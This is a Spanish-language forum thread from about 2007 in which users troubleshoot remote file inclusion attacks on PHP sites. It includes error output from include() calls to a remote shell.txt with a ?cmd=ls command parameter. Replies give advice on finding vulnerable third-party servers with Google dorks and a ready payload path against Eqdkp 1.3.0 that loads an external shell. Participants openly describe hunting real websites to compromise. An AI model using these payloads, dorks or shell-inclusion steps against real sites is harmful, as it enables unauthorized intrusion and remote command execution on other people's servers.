RFI duda

Buenas tengo una duda con el rfi.
Primero, aveces cuando trato de atacar me sale por ej:

Citar

Warning: include(http://usuarios.lycos.es/videofiesta/shell.txt?cmd=ls) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in C:\wamp\www\index.php on line 2

Warning: include() [function.include]: Failed opening 'http://usuarios.lycos.es/videofiesta/shell.txt?cmd=ls' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\index.php on line 2

Y otras veces me pasa que, en vez de ejecutar el comando de la shell, me muestra el codigo fuente de la shell remota :S

Alguien sabe a que se debe ?

Salu2

Puede ser que no sea vulnerable a RFI.

Antes de tratar de meter la shell a lo loco, mira a ver si se te carga por ejemplo la página de google. Si es así prueba a ver si se te carga también cualquier página que sea algo.php. Si es así ya puedes meter la shell.
Al ejecutar la shell en el servidor remoto tienes q ejecutarla como .php.

Salu2

Citar

Antes de tratar de meter la shell a lo loco, mira a ver si se te carga por ejemplo la página de google. Si es así prueba a ver si se te carga también cualquier página que sea algo.php. Si es así ya puedes meter la shell.

Si probe encontre un par pero a la hora de llamar la shell no va.
Y lo que es raro es que casi ninguna es vulnerable, esto es comun ?
Y la otra cosa, es que lo raro tmbn es que supuestamente yo cree, una web mediante el apache, vulnerable a estos ataques y me tira lo mismo que en muchas webs:

Citar

Al ejecutar la shell en el servidor remoto tienes q ejecutarla como .php.

No porque si la ejecuto como php se ejecuta en mi server.

Salu2

Citar

lo raro tmbn es que supuestamente yo cree, una web mediante el apache, vulnerable a estos ataques y me tira lo mismo que en muchas webs:
Citar
Warning: include(http://usuarios.lycos.es/videofiesta/shell.txt?cmd=ls) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in C:\wamp\www\index.php on line 2

Warning: include() [function.include]: Failed opening 'http://usuarios.lycos.es/videofiesta/shell.txt?cmd=ls' for inclusion (include_path='.;C:\php5\pear') in C:\wamp\www\index.php on line 2

Buenas... krosty478222.

Ese error lo que indica es que no se pudo incluir el HTTP, chequea si tienes el php.ini de tu servidor bien configurado para el RFI e incluir las URLs, para eso ve que tengas activas (en On) estas funciones:

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = On

; Whether or not to register the EGPCS variables as global variables. You may
; want to turn this off if you don't want to clutter your scripts' global scope
; with user data. This makes most sense when coupled with track_vars - in which
; case you can access all of the GPC variables through the $HTTP_*_VARS[],
; variables.
;
; You should do your best to write your scripts so that they do not require
; register_globals to be on; Using form variables as globals can easily lead
; to possible security problems, if the code is not very well thought of.
register_globals = On

Si no las tienes en On, ponlas y reinicias la computadora para que los cambios surjan efecto.

Citar

Y lo que es raro es que casi ninguna es vulnerable, esto es comun

Si, es común que paces horas buscando servidores vulnerables y no los encuentres. Lo ideal es buscar servidores que allan instalado algún software que venga con los códigos vulnerables a RFI. Por ejemplo, en lugar de buscar en google por "allinurl:index.php?page=", puedes intentar buscar servidores que tengan instalado el powered by Eqdkp 1.3.0... Una forma seria asi:
en google colocar: powered by Eqdkp 1.3.0
RFI: /includes/dbal.php?eqdkp_root_path=http://www.tuweb.com/shell.txt
A mi ese método me resulta más efectivo a la hora de encontrar servidores vulnerables a RFI.

También puedes visitar este tema que trata sobre el RFI.

Un salu2 xD

A mi me pasa lo mismo que a krosty

pero ademas me sale un 3º mensaje
"Warning: include() [function.include]: URL file-access is disabled in the server configuration in C:\AppServ\www\index.php on line 2"

No encuentro el php.ini dentro de la carpeta appserv. Algien sabe como se configura lo que dijo socket para appserv?

PD: estuve mirando el manual de socket y si que me sale lo del "hola mundo" pero al poner la pagina del google me sale ese problema...

Cita de: vef en Noviembre 11, 2007, 03:32:54

Buenas... vef.

Ese tercer mensaje significa que tienes que habilitar las URLs en el php.ini, para eso se realizan las mismas configuraciones que explique anteriormente (poner en on allow_url_fopen y allow_url_include en el php.ini).
Respecto a lo del php.ini ve a este directorio C:\appserv\php5\php.ini
Si no lo tienes en ese directorio quiere decir que tienes que crearlo, eso se hace renombrando el archivo php.ini-dist por php.ini

Un salu2 xD

Estuve buscando y lo encontre en la carpeta de Windows xD ya lo edite y ya me abre el google xD lo raro es que no me salen las imagenes... (los .gif de la palabra google) voy a acer lo que pusistes de renombrar y poner como php.ini

weno voy a segir provando... Wink

Por cierto una cosa q queria preguntar (no es sobre rfi) todo esto lo estoy haciendo poniendo lo de localhost, es decir: http://localhost/index.php?page=http://www.google.es, me cree un dominio en no-ip y querria poner esa direccion como direccion del server, lo intente pero al pner por ejemplo:
www.vef.no-ip.org/index.php me da error como de que no encuentra. Es raro porque hice ping a mi direccion y si que la encuentra (me sale mi ip) pero si hago ping a www.vef.no-ip.org/index.php tampoco lo encuentra...

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Julio 24, 2008, 06:28:53 Boton Buscar